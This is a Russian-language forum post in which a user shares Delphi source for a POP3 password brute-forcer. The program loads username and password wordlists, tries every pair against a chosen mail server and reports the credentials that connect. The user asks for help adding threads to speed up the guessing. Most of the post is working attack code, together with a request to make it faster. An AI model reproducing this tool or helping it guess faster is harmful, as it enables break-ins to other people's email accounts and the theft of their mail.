|
|
Регистрация | << Правила форума >> | FAQ | Пользователи | Календарь | Поиск | Сообщения за сегодня | Все разделы прочитаны |
|
Опции темы | Поиск в этой теме | Опции просмотра |
#1
|
|||
|
|||
Использование потоков
Здраствуйте срочно нужна помощь по использованию потоков в данном приложение, чтобы увеличить скорость перебора,
Кто может скажите пожалуйста что надо дописать. Если потребуется могу соурс выложить. Зарание огромное спасибо. Код:
unit brut; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdPOP3, Buttons, StdCtrls, IdThreadComponent, IdThreadMgrPool, IdThreadMgr, IdThreadMgrDefault, ComCtrls; type TForm1 = class(TForm) NameEdit: TEdit; PassEdit: TEdit; ServerNameEdit: TEdit; PortEdit: TEdit; Label1: TLabel; Label2: TLabel; Label3: TLabel; Label4: TLabel; Button1: TButton; BitBtn1: TBitBtn; IdPOP: TIdPOP3; IdAntiFreeze1: TIdAntiFreeze; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); var LoginStrings, PassStrings:TStrings; i, j:Integer; begin //Создаем массивы строк LoginStrings:=TStringList.Create; PassStrings:=TStringList.Create; //Загружаем варианты — справочники имен и паролей LoginStrings.LoadFromFile(NameEdit.Text); PassStrings.LoadFromFile(PassEdit.Text) ; //Устанавливаем адрес и порт сервера IdPOP.Host := ServerNameEdit.Text; IdPOP.Port := StrToInt(PortEdit.Text); //Начинаем перебор for i:=0 to LoginStrings.Count-1 do for j:=0 to PassStrings.Count-1 do begin //Передаем имя и пароль компоненту IdPOP.Username := LoginStrings.Strings[i]; IdPOP.Password := PassStrings.Strings[j]; //Попытка соединения. try IdPOP.Connect; except end; //Если соединение установлено, то выводим об этом сообщение if IdPOP.Connected then begin //Показываем найденный пароль Application.MessageBox(PChar('Имя:'+LoginStrings.Strings[i]+ 'Пароль:'+PassStrings.Strings[j]), 'Пароль найден'); IdPOP.Disconnect; Exit; end; end; //Уничтожаем массивы строк LoginStrings.Free; PassStrings.Free; end; end. |